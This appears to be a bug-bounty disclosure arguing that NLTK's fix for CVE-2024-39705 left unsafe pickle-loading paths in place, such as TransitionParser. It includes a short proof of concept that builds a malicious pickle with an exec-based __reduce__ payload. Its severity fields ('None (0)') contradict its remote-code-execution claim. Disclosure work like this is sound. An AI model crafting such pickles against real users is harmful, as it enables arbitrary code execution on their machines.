Incomplete Fix for CVE-2024-39705 — Multiple Unsafe Pickle Loading Paths Remain in NLTK in nltk/nltk

Reported on Apr 11th 2026


Description

The fix for CVE-2024-39705 (unsafe pickle deserialization in NLTK data loading) was incomplete. While nltk/data.py was hardened to use RestrictedUnpickler (which blocks all class instantiation), multiple other code paths still use pickle_load() from nltk.picklesec with the default restricted=False parameter.

When restricted=False (the default), pickle_load() uses WarningUnpickler which only emits a RuntimeWarning but does NOT prevent code execution. This is functionally equivalent to pickle.load() with a warning message.

Affected Call Sites

File Line Function
nltk/parse/transitionparser.py 557 TransitionParser.parse() — loads model from user-supplied path
nltk/app/chartparser_app.py 816 Chart loading via GUI
nltk/app/chartparser_app.py 2273 ChartComparer
nltk/tbl/demo.py 257, 329 Tagger loading

The most dangerous is transitionparser.py:557 which loads a model file from a user-supplied path as part of the core parsing API.

Steps to Reproduce

import pickle, os

# Create malicious pickle file
class Exploit:
    def __reduce__(self):
        return (exec, ("print('RCE via NLTK pickle bypass!')",))

with open("evil_model.pickle", "wb") as f:
    pickle.dump(Exploit(), f)

# Load via NLTK TransitionParser (bypasses CVE-2024-39705 fix)
from nltk.parse.transitionparser import TransitionParser
tp = TransitionParser.__new__(TransitionParser)
tp._modelfile = "evil_model.pickle"

# This calls pickle_load with restricted=False (default)
# WarningUnpickler only warns but still executes the payload
from nltk.picklesec import pickle_load
result = pickle_load("evil_model.pickle")
# Output: RCE via NLTK pickle bypass!

The WarningUnpickler emits a warning but the malicious code still executes. Users who updated NLTK after CVE-2024-39705 believe they are protected, but these code paths were not patched.

Impact

Remote Code Execution. An attacker who provides a malicious pickle file (e.g., a crafted transition parser model) can execute arbitrary Python code when a user loads it. The WarningUnpickler only emits a warning but does not block execution. This is an incomplete fix for CVE-2024-39705 — users who updated NLTK believe they are protected but these code paths remain vulnerable.

References

Severity

None (0)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Unchanged

Confidentiality None

Integrity None

Availability None

Registry

Pypi

Affected Version

3.9.1

Status

Duplicate

Found by

Wolfpack.Army @skillwager